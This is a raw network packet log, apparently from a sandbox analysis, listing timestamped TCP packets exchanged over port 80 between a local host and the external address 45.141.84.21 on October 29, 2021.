Oct 29, 2021 17:56:15.697365046 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746289015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746319056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746335983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746351004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746368885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746368885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746386051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746411085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746416092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746417999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746436119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746449947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746452093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746465921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746485949 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746506929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746680021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746700048 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746716022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746727943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.746731043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.746773958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747354984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747378111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747394085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747411966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747414112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747428894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747447968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747462034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747471094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747481108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747498035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747507095 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747514963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747528076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747539997 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747586012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.747977972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.747997999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748013973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748030901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748047113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748048067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748064041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748084068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748086929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748130083 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748177052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748191118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748208046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748219967 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748222113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748251915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748833895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748888016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748898983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.748908043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748919010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.748976946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.749038935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749058008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749073982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749088049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.749090910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749109983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749121904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.749128103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749141932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749159098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749164104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.749171972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749186039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749188900 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.749195099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.749296904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.788491964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.788525105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.788541079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.788553953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.788695097 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.788758039 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.806482077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806514025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806525946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806539059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806582928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.806591988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806612968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806629896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806643009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.806643963 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.806674957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.806694984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807007074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807029009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807044983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807063103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807085037 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807121992 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807184935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807204962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807219028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807236910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807255030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807259083 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807271957 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807286024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807296991 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807368040 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807674885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807698011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807712078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807719946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807750940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807804108 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.807919025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807940960 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807959080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807967901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.807982922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808029890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808049917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808057070 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808069944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808083057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808089972 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808130026 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808155060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808173895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808191061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808202982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808211088 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808239937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808707952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808732986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808749914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808763981 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808779001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808798075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.808959961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808979988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.808996916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809011936 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809019089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809051991 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809283018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809307098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809324026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809335947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809341908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809360027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809370995 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809379101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809391975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809418917 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809438944 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809551001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809571028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809587002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809598923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.809626102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.809652090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.848632097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.848664045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.848681927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.848691940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.848961115 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867000103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867027998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867041111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867055893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867073059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867089033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867105961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867117882 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867122889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867141962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867153883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867157936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867172956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867187023 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867218018 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867331982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867351055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867367983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867374897 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867384911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867403030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867419958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867427111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867433071 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.867460012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.867480040 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868599892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868619919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868635893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868649006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868668079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868684053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868704081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868704081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868716002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868731976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868733883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868748903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868763924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868776083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868792057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868808031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868824959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868843079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868861914 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868868113 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868870974 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868875980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868895054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868911028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868923903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868941069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868944883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868952036 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868956089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868957996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.868968010 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.868992090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869004011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869012117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869045019 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869191885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869211912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869229078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869241953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869252920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869323015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869544029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869564056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869580984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869599104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869611025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869620085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869637966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869638920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869652987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869668961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869673014 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869703054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869710922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869719982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869733095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869750023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869756937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869767904 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869785070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869787931 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.869796038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.869822025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.908956051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.909085989 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.910865068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.910887003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.910896063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.910984993 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.927719116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927743912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927757025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927766085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927778006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927793980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927820921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927834988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927849054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927879095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927889109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927980900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.927997112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928026915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928028107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928046942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928056002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928102016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928138018 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928184986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928206921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928220987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928240061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928244114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928252935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928271055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928276062 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928281069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928330898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928390980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928435087 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928544044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928563118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928570986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928632021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928705931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928725958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928754091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928756952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928776979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928793907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928802967 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928811073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928823948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.928862095 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.928880930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929584980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929604053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929617882 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929634094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929651022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929667950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929681063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929688931 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929693937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929711103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929723024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929724932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929739952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929754019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929761887 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929771900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929784060 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929785013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.929800034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.929832935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.930107117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930128098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930140972 CEST	80	49856	45.141.84.21	192.168.2.6
